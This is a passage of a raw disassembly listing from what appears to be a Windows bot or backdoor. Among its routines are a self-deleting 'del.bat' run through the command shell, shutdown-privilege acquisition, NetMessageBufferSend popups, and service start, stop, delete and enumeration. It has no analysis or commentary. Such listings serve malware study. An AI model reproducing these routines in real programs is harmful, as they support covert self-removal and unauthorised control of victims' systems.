		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2700842h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26F0000h
		push	edi
		nop
		call	near ptr 26608E1h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2690000h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2680DD8h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2680D13h
		nop


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2810000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2660BFCh
		nop


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D0468h
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4
		push	edi
		push	eax
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439074


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43901C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26D0468h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26A0C87h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26B0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 269095Dh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset unk_4391A8


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6D0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6D0
		push	off_439090[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		nop
		call	near ptr 2680932h
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		nop
		call	near ptr 2680932h
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		nop
		call	near ptr 2680932h
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB010
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB010
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614
		test	eax, eax
		jnz	short loc_4189CE
		call	near ptr 2680932h
		nop
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439090[eax*4]
		push	offset unk_43973C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439094[eax*4]
		push	offset dword_439720
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4396FC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB26C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
